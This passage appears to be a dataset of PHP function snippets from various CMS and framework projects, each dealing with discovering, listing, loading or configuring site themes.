);\n\n\t_wpr_add_non_extend_theme_support_filter();\n\n\t// Get all themes\n\tif ( function_exists( 'wp_get_themes' ) )\n\t\t$themes = wp_get_themes();\n\telse\n\t\t$themes = get_themes();\n\n\t// Get the active theme\n\t$active = get_option( 'current_theme' );\n\n\t// Delete the transient so wp_update_themes can get fresh data\n\tif ( function_exists( 'get_site_transient' ) )\n\t\tdelete_site_transient( 'update_themes' );\n\n\telse\n\t\tdelete_transient( 'update_themes' );\n\n\t// Force a theme update check\n\twp_update_themes();\n\n\t// Different versions of wp store the updates in different places\n\t// TODO can we depreciate\n\tif ( function_exists( 'get_site_transient' ) && $transient = get_site_transient( 'update_themes' ) )\n\t\t$current = $transient;\n\n\telseif ( $transient = get_transient( 'update_themes' ) )\n\t\t$current = $transient;\n\n\telse\n\t\t$current = get_option( 'update_themes' );\n\n\tforeach ( (array) $themes as $key => $theme ) {\n\n\t\t// WordPress 3.4+\n\t\tif ( is_object( $theme ) && is_a( $theme, 'WP_Theme' ) ) {\n\n\t\t\t$new_version = isset( $current->response[$theme['Template']] ) ? $current->response[$theme['Template']]['new_version'] : null;\n\n\t\t\t$theme_array = array(\n\t\t\t\t'Name' => $theme->get( 'Name' ),\n\t\t\t\t'active' => $active == $theme->get( 'Name' ),\n\t\t\t\t'Template' => $theme->get_template(),\n\t\t\t\t'Stylesheet' => $theme->get_stylesheet(),\n\t\t\t\t'Screenshot' => $theme->get_screenshot(),\n\t\t\t\t'AuthorURI' => $theme->get( 'AuthorURI' ),\n\t\t\t\t'Author' => $theme->get( 'Author' ),\n\t\t\t\t'latest_version' => $new_version ? $new_version : $theme->get( 'Version' ),\n\t\t\t\t'Version' => $theme->get( 'Version' ),\n\t\t\t\t'ThemeURI' => $theme->get( 'ThemeURI' )\n\t\t\t);\n\n\t\t\t$themes[$key] = $theme_array;\n\n\t\t} else {\n\n\t\t\t$new_version = isset( $current->response[$theme['Template']] ) ? $current->response[$theme['Template']]['new_version'] : null;\n\n\t\t\tif ( $active == $theme['Name'] )\n\t\t\t\t$themes[$key]['active'] = true;\n\n\t\t\telse\n\t\t\t\t$themes[$key]['active'] = false;\n\n\t\t\tif ( $new_version ) {\n\n\t\t\t\t$themes[$key]['latest_version'] = $new_version;\n\t\t\t\t$themes[$key]['latest_package'] = $current->response[$theme['Template']]['package'];\n\n\t\t\t} else {\n\n\t\t\t\t$themes[$key]['latest_version'] = $theme['Version'];\n\n\t\t\t}\n\t\t}\n\t}\n\n\treturn $themes;\n}", "public static function getThemesForSelect()\n {\n if (!self::$_initialized) {\n self::init();\n }\n\n $results = [];\n foreach (self::$_themes as $theme) {\n $results[$theme->id()] = $theme->name();\n }\n\n return $results;\n }", "function load_zc_themes()\n{\n\tglobal $context;\n\tglobal $zcFunc, $zc;\n\t\n\t$edit_files = array();\n\t$context['zc']['themes'] = array();\n\t\n\tif (is_dir($zc['themes_dir']))\n\t{\n\t\tif ($dir = @opendir($zc['themes_dir']))\n\t\t{\n\t\t\twhile (($folder = readdir($dir)) !== false)\n\t\t\t{\n\t\t\t\t// skip non-folders\n\t\t\t\tif (!is_dir($zc['themes_dir'] . '/' . $folder))\n\t\t\t\t\tcontinue;\n\t\t\t\t\n\t\t\t\t// we want the theme's info file...\n\t\t\t\tif (file_exists($zc['themes_dir'] . '/' . $folder . '/info.php'))\n\t\t\t\t{\n\t\t\t\t\t$full_path = $zc['themes_dir'] . '/' . $folder . '/info.php';\n\t\t\t\t\t\n\t\t\t\t\t// get the file...\n\t\t\t\t\trequire_once($full_path);\n\t\t\t\t\n\t\t\t\t\tif (!empty($context['zc']['theme']))\n\t\t\t\t\t{\n\t\t\t\t\t\t$theme = $context['zc']['theme'];\n\t\t\t\t\t\t// theme ID must be unique!\n\t\t\t\t\t\tif (!isset($context['zc']['themes'][$theme['id']]))\n\t\t\t\t\t\t\t$context['zc']['themes'][$theme['id']] = $theme;\n\t\t\t\t\t\t// we'll have to make it unique then...\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$old_theme_id = $theme['id'];\n\t\t\t\t\t\t\t$theme['id'] = zc_make_unique_array_key($theme['id'], array($context['zc']['themes']));\n\t\t\t\t\t\t\t$context['zc']['themes'][$theme['id']] = $theme;\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tif (!isset($edit_files[$full_path]))\n\t\t\t\t\t\t\t\t$edit_files[$full_path] = array();\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif (!isset($edit_files[$full_path]['str_replace']))\n\t\t\t\t\t\t\t\t$edit_files[$full_path]['str_replace'] = array();\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$edit_files[$full_path]['str_replace'][] = array('\\''. $old_theme_id .'\\'', '\\''. $theme['id'] .'\\'');\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$context['zc']['themes'][$theme['id']]['file'] = $full_path;\n\t\t\t\t\t\tunset($context['zc']['theme'], $theme);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tclosedir($dir);\n\t\t}\n\t}\n\t\n\t$context['zc']['admin_theme_settings'] = array();\n\tif (!empty($context['zc']['themes']))\n\t\tforeach ($context['zc']['themes'] as $theme_id => $array)\n\t\t{\n\t\t\tif (!empty($array['settings']))\n\t\t\t\tforeach ($array['settings'] as $setting => $array2)\n\t\t\t\t\t// if $setting is already taken... we'll need to make a unique key...\n\t\t\t\t\tif (!isset($context['zc']['admin_theme_settings'][$setting]) && !isset($temp[$setting]))\n\t\t\t\t\t\t$temp[$setting] = '';\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$old_setting_key = $setting;\n\t\t\t\t\t\t$setting = zc_make_unique_array_key($setting, array($temp, $context['zc']['admin_theme_settings']));\n\t\t\t\t\t\t$context['zc']['themes'][$theme_id]['settings'][$setting] = $array2;\n\t\t\t\t\t\t$temp[$setting] = '';\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (!isset($edit_files[$array['file']]))\n\t\t\t\t\t\t\t$edit_files[$array['file']] = array();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tif (!isset($edit_files[$array['file']]['str_replace']))\n\t\t\t\t\t\t\t$edit_files[$array['file']]['str_replace'] = array();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t$edit_files[$array['file']]['str_replace'][] = array('\\''. $old_setting_key .'\\'', '\\''. $setting .'\\'');\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\tif (!empty($array['admin_settings']))\n\t\t\t\tforeach ($array['admin_settings'] as $setting => $array2)\n\t\t\t\t\t// make sure $setting is not already taken\n\t\t\t\t\tif (!isset($context['zc']['admin_theme_settings'][$setting]) && !isset($temp[$setting]))\n\t\t\t\t\t\t$context['zc']['admin_theme_settings'][$setting] = $array2;\n\t\t\t\t\t// we have to make a unique key...\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$old_setting_key = $setting;\n\t\t\t\t\t\t$setting = zc_make_unique_array_key($setting, array($temp, $context['zc']['admin_theme_settings']));\n\t\t\t\t\t\t$context['zc']['admin_theme_settings'][$setting] = $array2;\n\t\t\t\t\t\t$context['zc']['themes'][$theme_id]['admin_settings'][$setting] = $array2;\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (!isset($edit_files[$array['file']]))\n\t\t\t\t\t\t\t$edit_files[$array['file']] = array();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tif (!isset($edit_files[$array['file']]['str_replace']))\n\t\t\t\t\t\t\t$edit_files[$array['file']]['str_replace'] = array();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t$edit_files[$array['file']]['str_replace'][] = array('\\''. $old_setting_key .'\\'', '\\''. $setting .'\\'');\n\t\t\t\t\t}\n\t\t}\n\t\t\n\t// adds the rest of the admin_theme_settings\n\tzc_prepare_admin_theme_settings_array();\n\t\t\n\t// now for admin theme settings...\n\tif (!empty($context['zc']['admin_theme_settings']))\n\t\tforeach($context['zc']['admin_theme_settings'] as $k => $array)\n\t\t{\n\t\t\t// skip base admin theme settings, because we already processed them...\n\t\t\tif (isset($context['zc']['base_admin_theme_settings'][$k]))\n\t\t\t\tcontinue;\n\t\t\n\t\t\tif (!isset($zc['settings'][$k]))\n\t\t\t\t$zc['settings'][$k] = $array['value'];\n\t\t\t\t\n\t\t\tif ($array['type'] == 'text')\n\t\t\t\t$zc['settings'][$k] = $zcFunc['un_htmlspecialchars']($zc['settings'][$k]);\n\t\t\t\t\n\t\t\tif (!empty($array['needs_explode']) && !is_array($zc['settings'][$k]))\n\t\t\t\t$zc['settings'][$k] = !empty($zc['settings'][$k]) ? explode(',', $zc['settings'][$k]) : array();\n\t\t}\n\t\t\n\tif (!empty($edit_files) && file_exists($zc['sources_dir'] . '/Subs-Files.php'))\n\t{\n\t\t// we'll need this...\n\t\trequire_once($zc['sources_dir'] . '/Subs-Files.php');\n\t\t\n\t\tif (function_exists('zcWriteChangeToFile'))\n\t\t\tforeach ($edit_files as $file => $edits)\n\t\t\t\tif (!empty($edits))\n\t\t\t\t\tzcWriteChangeToFile($file, $edits);\n\t}\n}", "static public function getThemeResourceTypes();", "public function listThemes(Request $request)\n {\n\n // list pages in the site\n $dir = app()->basePath().'/'.env('THEMES_LOCATION');\n\n // list files\n $arr = Utilities::listSpecificFiles($dir, 'theme.json');\n\n $result = array();\n\n foreach ($arr as $item) {\n\n // get contents of file\n $json = json_decode(file_get_contents($item));\n\n // get location of theme\n $temp = explode('public/themes/', $item);\n $location = substr($temp[1], 0, strpos($temp[1], '/theme.json'));\n\n $json->location = $location;\n\n array_push($result, $json);\n\n }\n\n return response()->json($result);\n\n }", "public function run()\n {\n $themes = array(\n array('id' => '1','name' => 'Atliekų perdirbimas ir antrinis panaudojimas gamyboje','main_theme' => 'ECO','theme_number' => '1','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => NULL,'type' => NULL),\n array('id' => '2','name' => 'Ekologinis gaminių projektavimas','main_theme' => 'ECO','theme_number' => '2','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => NULL,'type' => NULL),\n array('id' => '3','name' => 'Taršos prevencija','main_theme' => 'ECO','theme_number' => '3','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => NULL,'type' => NULL),\n array('id' => '4','name' => 'Ekoinovacijų diegimas','main_theme' => 'ECO','theme_number' => '4','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => NULL,'type' => NULL),\n array('id' => '5','name' => 'Aplinkosaugos vadybos sistemų diegimas','main_theme' => 'ECO','theme_number' => '5','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => NULL,'type' => NULL),\n array('id' => '6','name' => 'Pasirengimo eksportui veiksmų planas','main_theme' => 'EXPO','theme_number' => '1','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => '3','type' => 'IKI3'),\n array('id' => '7','name' => 'Eksporto strategija','main_theme' => 'EXPO','theme_number' => '2','created_at' => NULL,'updated_at' => NULL,'min_old' => '3','max_old' => NULL,'type' => 'PO3'),\n array('id' => '8','name' => 'Tikslinių eksporto rinkų pasirinkimas ir išorinė komunikacija','main_theme' => 'EXPO','theme_number' => '3','created_at' => NULL,'updated_at' => NULL,'min_old' => '3','max_old' => NULL,'type' => 'PO3'),\n array('id' => '9','name' => 'Tarptautinės prekybos teisiniai aspektai ir sertifikavimas užsienio rinkose','main_theme' => 'EXPO','theme_number' => '4','created_at' => NULL,'updated_at' => NULL,'min_old' => '3','max_old' => NULL,'type' => 'PO3'),\n array('id' => '10','name' => 'Techniniai ir gamybiniai eksporto aspektai','main_theme' => 'EXPO','theme_number' => '5','created_at' => NULL,'updated_at' => NULL,'min_old' => '3','max_old' => NULL,'type' => 'PO3'),\n array('id' => '11','name' => 'Eksporto rizikos valdymas','main_theme' => 'EXPO','theme_number' => '6','created_at' => NULL,'updated_at' => NULL,'min_old' => '3','max_old' => NULL,'type' => 'PO3'),\n array('id' => '12','name' => 'Verslo planavimas','main_theme' => 'VKT','theme_number' => '1','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => '1','type' => 'PR'),\n array('id' => '13','name' => 'Mokesčiai ir buhalterinė apskaita','main_theme' => 'VKT','theme_number' => '2','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => '1','type' => 'PR'),\n array('id' => '14','name' => 'Parama verslui, verslo finansavimo šaltiniai','main_theme' => 'VKT','theme_number' => '3','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => '1','type' => 'PR'),\n array('id' => '15','name' => 'Produkto, paslaugos tobulinimas','main_theme' => 'VKT','theme_number' => '4','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => '1','type' => 'PR'),\n array('id' => '16','name' => 'Pardavimas','main_theme' => 'VKT','theme_number' => '5','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => '1','type' => 'PR'),\n array('id' => '17','name' => 'Rinkodara','main_theme' => 'VKT','theme_number' => '6','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => '1','type' => 'PR'),\n array('id' => '18','name' => 'Sutarčių sudarymas ir valdymas','main_theme' => 'VKT','theme_number' => '7','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => '1','type' => 'PR'),\n array('id' => '19','name' => 'Dokumentų rengimas ir valdymas','main_theme' => 'VKT','theme_number' => '8','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => '1','type' => 'PR'),\n array('id' => '20','name' => 'Personalo valdymas, darbo teisė ir sauga','main_theme' => 'VKT','theme_number' => '9','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => '1','type' => 'PR'),\n array('id' => '21','name' => 'Socialinis verslas','main_theme' => 'VKT','theme_number' => '10','created_at' => NULL,'updated_at' => NULL,'min_old' => NULL,'max_old' => '1','type' => 'PR'),\n array('id' => '22','name' => 'Įmonės strategija','main_theme' => 'VKT','theme_number' => '11','created_at' => NULL,'updated_at' => NULL,'min_old' => '1','max_old' => '5','type' => 'PL'),\n array('id' => '23','name' => 'Įmonės veiklos procesai ir veiklos efektyvumas','main_theme' => 'VKT','theme_number' => '12','created_at' => NULL,'updated_at' => NULL,'min_old' => '1','max_old' => '5','type' => 'PL'),\n array('id' => '24','name' => 'Rinkodara, įmonės įvaizdžio formavimas','main_theme' => 'VKT','theme_number' => '13','created_at' => NULL,'updated_at' => NULL,'min_old' => '1','max_old' => '5','type' => 'PL'),\n array('id' => '25','name' => 'Įmonės finansų valdymas','main_theme' => 'VKT','theme_number' => '14','created_at' => NULL,'updated_at' => NULL,'min_old' => '1','max_old' => '5','type' => 'PL'),\n array('id' => '26','name' => 'Pardavimas ir derybos','main_theme' => 'VKT','theme_number' => '15','created_at' => NULL,'updated_at' => NULL,'min_old' => '1','max_old' => '5','type' => 'PL'),\n array('id' => '27','name' => 'Investicijos ir finansavimo šaltiniai','main_theme' => 'VKT','theme_number' => '16','created_at' => NULL,'updated_at' => NULL,'min_old' => '1','max_old' => '5','type' => 'PL'),\n array('id' => '28','name' => 'Teisiniai aspektai','main_theme' => 'VKT','theme_number' => '17','created_at' => NULL,'updated_at' => NULL,'min_old' => '1','max_old' => '5','type' => 'PL'),\n array('id' => '29','name' => 'Projektų valdymas','main_theme' => 'VKT','theme_number' => '18','created_at' => NULL,'updated_at' => NULL,'min_old' => '1','max_old' => '5','type' => 'PL'),\n array('id' => '30','name' => 'Socialinis verslas','main_theme' => 'VKT','theme_number' => '19','created_at' => NULL,'updated_at' => NULL,'min_old' => '1','max_old' => '5','type' => 'PL')\n );\n\n Theme::truncate();\n\n foreach ($themes as $theme) {\n Theme::create($theme);\n }\n }", "function wpcom_vip_themes_root() {\n\treturn WP_CONTENT_DIR . '/themes';\n}", "public function render_field_themes() {\n\t\t$value = get_option( 'satispress_themes', array() );\n\n\t\t$themes = wp_get_themes();\n\t\tforeach ( $themes as $slug => $theme ) {\n\t\t\tprintf( '<label><input type=\"checkbox\" name=\"satispress_themes[]\" value=\"%1$s\" %2$s> %3$s</label><br>',\n\t\t\t\tesc_attr( $slug ),\n\t\t\t\tchecked( in_array( $slug, $value ), true, false ),\n\t\t\t\t$theme->get( 'Name' )\n\t\t\t);\n\t\t}\n\t}", "public static function loadThemes()\n {\n $themesFolder = new Folder(ROOT . DS . 'themes');\n $themes = $themesFolder->read()[0];\n $loader = require ROOT . DS . 'vendor' . DS . 'autoload.php';\n foreach ($themes as $theme) {\n $loader->addPsr4('WasabiTheme\\\\' . $theme . '\\\\', [$themesFolder->path . DS . $theme . DS . 'src']);\n Plugin::load('WasabiTheme/' . $theme, [\n 'path' => $themesFolder->path . DS . $theme . DS,\n 'bootstrap' => true,\n 'routes' => false\n ]);\n }\n }", "function return_back_std_themes_settings() {\r\n\r\n\t$get_all_themes = wp_get_themes();\r\n\r\n\t$root_plugin_path = get_theme_root();\r\n\t$root_plugin_path = str_replace( 'plugins/yoga-poses/templates/', '', $root_plugin_path );\r\n\t$root_plugin_path .= 'themes/';\r\n\r\n\tregister_theme_directory( $root_plugin_path );\r\n\r\n\t// activate first theme in list\r\n\tforeach ( $get_all_themes as $key => $one_theme ) {\r\n\t\tswitch_theme( $key );\r\n\t\tbreak;\r\n\t}\r\n\r\n\treturn $root_plugin_path;\r\n}", "public function get_lightbox_themes() {\n\n $instance = Envira_Gallery_Common::get_instance();\n return $instance->get_lightbox_themes();\n\n }", "public function themes_all_json() {\n\n $theme_keys = 'IdeaSpaceVR-' . config('app.version') . '---';\n $themes = Theme::where('status', Theme::STATUS_ACTIVE)->get();\n foreach ($themes as $theme) {\n $config = json_decode($theme->config, true);\n $theme_keys = $theme_keys . $config['#theme-key'] . '-' . $config['#theme-version'] . '---';\n }\n\n if ($theme_keys != '') {\n return response()->json(['themes' => substr($theme_keys, 0, -3)]);\n } else {\n return response()->json(['themes' => '']);\n }\n }", "public function getThemes() {\n if ($this->themes !== null) {\n return $this->themes;\n }\n\n $this->themes = parent::getThemes();\n\n $themes = $this->config->get('theme');\n if (!is_array($themes)) {\n return $this->themes;\n }\n\n foreach ($themes as $name => $theme) {\n if (isset($theme['name'])) {\n $displayName = $theme['name'];\n } else {\n $displayName = $name;\n }\n\n if (isset($theme['engine'])) {\n if (is_array($theme['engine'])) {\n $engines = $theme['engine'];\n } else {\n $engines = array($theme['engine']);\n }\n } else {\n $engines = array();\n }\n\n if (isset($theme['region'])) {\n $regions = $theme['region'];\n } else {\n $regions = array();\n }\n\n if (isset($theme['parent'])) {\n $parent = $theme['parent'];\n } else {\n $parent = null;\n }\n\n $this->themes[$name] = new GenericTheme($name, $displayName, $engines, $regions, $parent);\n }\n\n return $this->themes;\n }", "public function listThemes($kind)\n\t{\n\t\t$user_files = $this->listDirectory($this->user_theme_templates_path . $kind . '/');\n\n\t\tif (empty($user_files))\n\t\t{\n\t\t\t$user_files = $this->listDirectory($this->user_theme_assets_path . $kind . '/');\n\t\t}\n\n\t\t// EE first so the User based themes can override.\n\t\treturn array_merge(\n\t\t\t$this->listDirectory($this->ee_theme_templates_path . $kind . '/'),\n\t\t\t$user_files\n\t\t);\n\t}", "public static function loadFromThemes()\n {\n $themePath = database_path('themes');\n $folders = scandir($themePath);\n\n foreach ($folders as $folder) {\n $fullPath = $themePath.'/'.$folder;\n\n if ($folder != '.' && $folder != '..' && is_dir($fullPath)) {\n $files = glob($fullPath . \"/index.html\");\n $content = file_get_contents($files[0]);\n preg_match_all('/(<title\\>([^<]*)\\<\\/title\\>)/i', $content, $m);\n $title = $m[2][0];\n\n // Create admin template\n $template = new self();\n $template->name = $title;\n $template->admin_id = 1;\n\n $template->loadFromDirectory($fullPath);\n }\n }\n }", "function opanda_sr_get_theme_styles(){\n require_once OPANDA_SR_PLUGIN_DIR. '/includes/style-manager.class.php'; \n \n $themeId = isset( $_POST['onp_theme_id'] ) ? $_POST['onp_theme_id'] : null;\n \n if( !$themeId ) {\n json_encode( array('error' => '[Error] The theme id [onp_theme_id] is not specified.') );\n exit;\n }\n \n $styles = OnpSL_StyleManager::getStylesTitles( $themeId );\n\n echo json_encode( $styles );\n exit;\n}", "function GetThemeInfo ($filename) { \n $dataBack = array();\n if ($filename != '') {\n $default_headers = array(\n 'label' => 'label',\n 'file' => 'file',\n 'columns' => 'columns'\n );\n \n $dataBack = get_file_data($filename,$default_headers,'');\n $dataBack['file'] = preg_replace('/.css$/','',$dataBack['file']); \n }\n \n return $dataBack;\n }", "private function getEnabledThemes(){\n $enabledThemes = explode(\",\", GetConfig('GiftCertificateThemes'));\n $enabledThemesTmp = array();\n foreach($enabledThemes as $itemstmp){\n if(preg_match(\"/^CGC/\",$itemstmp)){\n continue;\n }\n $enabledThemesTmp[] = $itemstmp;\n }\n $enabledThemes = $enabledThemesTmp;\n return $enabledThemes;\n }", "function get_theme_data($theme_file)\n {\n }", "private function getStylesheet() {\n $themes = [];\n $stylesheet_options = [];\n $theme_handler = Drupal::service('theme_handler');\n foreach ($theme_handler->listInfo() as $name => $theme) {\n $themes = [];\n $stylesheet_options = [];\n $theme_handler = Drupal::service('theme_handler');\n foreach ($theme_handler->listInfo() as $name => $theme) {\n $themes[$name] = DRUPAL_ROOT . '/' . $theme\n ->getPath();\n if (file_exists($themes[$name])) {\n $stylesheet = $themes[$name] . '/css/' . $name . '.' . 'ckeditor.css';\n }\n else {\n $stylesheet = drupal_get_path('module', 'ckeditor_stylesheetparser') . '/js/plugins/stylesheetparser/samples/assets/sample.css';\n }\n }\n $stylesheet_options = $stylesheet;\n return $stylesheet_options;\n }\n }", "function theme($tipo=\"link\"){\n\t\n\t$theme_encontrado=0;\n\tif($theme_encontrado>=1){\n\t}else{\n\t\t$theme=\"default\";\n\t}\n\t\t\n\tglobal $AYV;\t\n\t\n\tif($tipo==\"dir\"){\n\t\treturn DIR_WEB.'/themes/'.$theme;\t\t\n\t}else{\n\t\treturn URL_WEB.'/themes/'.$theme;\t\t\n\t}\n\n}", "public static function available($title = TRUE)\n\t{\n\t\t$themes = array();\n\n\t\tforeach (scandir(THEMEPATH) as $theme_name)\n\t\t{\n\t\t\t$info_file = THEMEPATH . $theme_name . DIRECTORY_SEPARATOR . Theme::INFO_FILE;\n\t\t\t// File can be exists and can be readable\n\t\t\tif (is_readable($info_file))\n\t\t\t{\n\t\t\t\t// Skip hidden files\n\t\t\t\tif ($theme_name[0] == \".\")\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$theme = Theme::get_info($theme_name);\n\t\t\t\t$themes[$theme_name] = ($title === TRUE) ? $theme->title : $theme;\n\t\t\t}\n\t\t}\n\n\t\treturn $themes;\n\t}", "function create_selection_list_themes($theme = null, $no_rely = false, $show_everything = false, $default_message_string = 'RELY_FORUMS')\n{\n if (!$no_rely) {\n $entries = form_input_list_entry('-1', false, do_lang_tempcode($default_message_string));\n } else {\n $entries = new Tempcode();\n }\n $themes = find_all_themes();\n foreach ($themes as $_theme => $title) {\n if (($show_everything) || (has_category_access(get_member(), 'theme', $_theme))) {\n $selected = ($theme == $_theme);\n $entries->attach(form_input_list_entry($_theme, $selected, $title));\n }\n }\n if ($entries->is_empty()) {\n $entries->attach(form_input_list_entry('default', false, $themes['default']));\n }\n return $entries;\n}", "private function getAdminThemeComponets()\n { \n $variables = \"\";\n\n foreach($this->adminComponets as $com => $c){\n $variables.=(\"theme.\".$com.\"='\".URL::to($c).\"';\");\n }\n\n return $variables;\n }", "private function findThemeTemplateDirs()\n {\n if ($this->theme['module'] === null) { // no module involved\n return array();\n }\n\n // setup directories & namespaces\n $themeDir = \\SimpleSAML\\Module::getModuleDir($this->theme['module']).'/themes/'.$this->theme['name'];\n $subdirs = scandir($themeDir);\n if (!$subdirs) { // no subdirectories in the theme directory, nothing to do here\n // this is probably wrong, log a message\n \\SimpleSAML\\Logger::warning('Emtpy theme directory for theme \"'.$this->theme['name'].'\".');\n return array();\n }\n\n $themeTemplateDirs = array();\n foreach ($subdirs as $entry) {\n // discard anything that's not a directory. Expression is negated to profit from lazy evaluation\n if (!($entry !== '.' && $entry !== '..' && is_dir($themeDir.'/'.$entry))) {\n continue;\n }\n\n // set correct name for the default namespace\n $ns = ($entry === 'default') ? \\Twig_Loader_Filesystem::MAIN_NAMESPACE : $entry;\n $themeTemplateDirs[] = array($ns => $themeDir.'/'.$entry);\n }\n return $themeTemplateDirs;\n }", "public function scanJsonFiles()\r\n {\r\n $themes = [];\r\n foreach (glob($this->themes_path('*'), GLOB_ONLYDIR) as $themeFolder) {\r\n $themeFolder = realpath($themeFolder);\r\n if (file_exists($jsonFilename = $themeFolder . '/' . 'theme.json')) {\r\n\r\n $folders = explode(DIRECTORY_SEPARATOR, $themeFolder);\r\n $themeName = end($folders);\r\n\r\n // default theme settings\r\n $defaults = [\r\n 'name' => $themeName,\r\n 'asset-path' => $themeName,\r\n 'extends' => null,\r\n ];\r\n\r\n // If theme.json is not an empty file parse json values\r\n $json = file_get_contents($jsonFilename);\r\n if ($json !== \"\") {\r\n $data = json_decode($json, true);\r\n if ($data === null) {\r\n throw new \\Exception(\"Invalid theme.json file at [$themeFolder]\");\r\n }\r\n } else {\r\n $data = [];\r\n }\r\n\r\n // We already know views-path since we have scaned folders.\r\n // we will overide this setting if exists\r\n $data['views-path'] = $themeName;\r\n\r\n $themes[] = array_merge($defaults, $data);\r\n }\r\n }\r\n return $themes;\r\n }", "function wp_ajax_query_themes()\n {\n }", "private function import_child_themes_content() {\n\n\t\t// Get the name of the previously active theme.\n\t\t$previous_theme = strtolower( get_option( 'theme_switched' ) );\n\t\t$allowed_themes = array(\n\t\t\t'christmas-hestia',\n\t\t\t'tiny-hestia',\n\t\t\t'orfeo',\n\t\t\t'hestia-child',\n\t\t\t'hestia-child-theme',\n\t\t\t'hestia-pro-child',\n\t\t\t'hestia-pro-child-theme',\n\t\t);\n\t\tif ( ! in_array( $previous_theme, $allowed_themes, true ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Get the theme mods from the previous theme.\n\t\t$previous_theme_content = get_option( 'theme_mods_' . $previous_theme );\n\n\t\tif ( ! empty( $previous_theme_content ) ) {\n\t\t\tforeach ( $previous_theme_content as $previous_theme_mod_k => $previous_theme_mod_v ) {\n\t\t\t\tset_theme_mod( $previous_theme_mod_k, $previous_theme_mod_v );\n\t\t\t}\n\t\t}\n\t}", "public static function getThemeTags() {\n\t\t\t$theme_tags = get_transient( 'if_child_gen_theme_tags' );\n\t\t if( ! $theme_tags ) {\n\t\t $response = wp_remote_get( 'https://api.wordpress.org/themes/info/1.1/?action=feature_list' );\n\t\t if( ! is_wp_error( $response ) ) {\n\t\t $theme_tags = wp_remote_retrieve_body( $response );\n\t\t $theme_tags = json_decode( $theme_tags, true );\n\t\t $theme_tags = $theme_tags ? $theme_tags : array();\n\t\t set_transient( 'if_child_gen_theme_tags', $theme_tags, WEEK_IN_SECONDS );\n\t\t } else {\n\t\t \t$theme_tags = array();\n\t\t }\n\t\t }\n\n\t\t return array_merge($theme_tags, array(\n\t\t \t'Colors' => array(\n\t\t \t\t'black', 'blue', 'brown', 'gray', 'green', 'orange', 'pink', 'purple', 'red', 'silver', 'tan', 'white', 'yellow',\n\t\t \t\t'dark', 'light',\n\t \t\t)\n\t \t));\n\t\t}", "public function getSkinStylesheetDirectories() {}", "public function availableAction()\n {\n $themes = XOOPS::service('registry')->themelist->read('install');\n foreach ($themes as $key => &$theme) {\n $theme[\"upgrade\"] = $this->checkUpgrade($key, $theme[\"version\"]);\n }\n $this->template->assign(\"themes_install\", $themes);\n\n $themes = XOOPS::service('registry')->themelist->read('deploy');\n /*\n foreach ($themes as $key => &$theme) {\n $theme[\"upgrade\"] = $this->checkUpgrade($key, $theme[\"version\"]);\n }\n */\n $this->template->assign(\"themes_deploy\", $themes);\n\n $this->setTemplate(\"theme_available.html\");\n }", "public function get_themes() {\n\t\t$recaptcha_themes = array(\n\t\t\t'light' => _x( 'Light', 'recaptcha theme', 'theme-my-login' ),\n\t\t\t'dark' => _x( 'Dark', 'recaptcha theme', 'theme-my-login' )\n\t\t);\n\t\treturn apply_filters( 'theme_my_login_recaptcha_themes', $recaptcha_themes );\n\t}", "function list_theme_updates()\n {\n }", "public function getTheme()\n {\n $this->appinfo['theme_vendor'] = DEF_VENDOR;\n $this->appinfo['theme_directory'] = DEF_THEME;\n $this->appinfo['theme_path'] = DIR_APP.DIRECTORY_SEPARATOR.$this->appinfo['theme_vendor'].DIRECTORY_SEPARATOR.DIR_THEMES.DIRECTORY_SEPARATOR.$this->appinfo['theme_directory'];\n $this->appinfo['theme_webpath'] = DIR_APP.'/'.$this->appinfo['theme_vendor'].'/'.DIR_THEMES.'/'.$this->appinfo['theme_directory'];\n }", "public function providesTheme(): Collection\n {\n return $this->enabled()\n ->filter(function (Extension $e) {\n return $e->providesTheme();\n });\n }", "protected function loadThemeSections(){\n $listSection = Section::lists('fileName');\n\n foreach ($listSection as $sec) {\n $section = Section::find($sec);\n\n if(!$section)\n continue;\n\n $this->themeSections[$section->code] = (object) [\n 'name' => $section->title,\n 'picture' => Url::to('themes/'.$this->theme->getDirName().$section->preview),\n 'code' => $section->code,\n 'configForm' => isset($section->attr)?true:false\n ];\n }\n }", "public function getThemePath(): string;", "function wysiwyg_tinymce_themes($editor, $profile) {\n /*\n $themes = array();\n $dir = $editor['library path'] . '/themes/';\n if (is_dir($dir) && $dh = opendir($dir)) {\n while (($file = readdir($dh)) !== FALSE) {\n if (!in_array($file, array('.', '..', 'CVS', '.svn')) && is_dir($dir . $file)) {\n $themes[$file] = $file;\n }\n }\n closedir($dh);\n 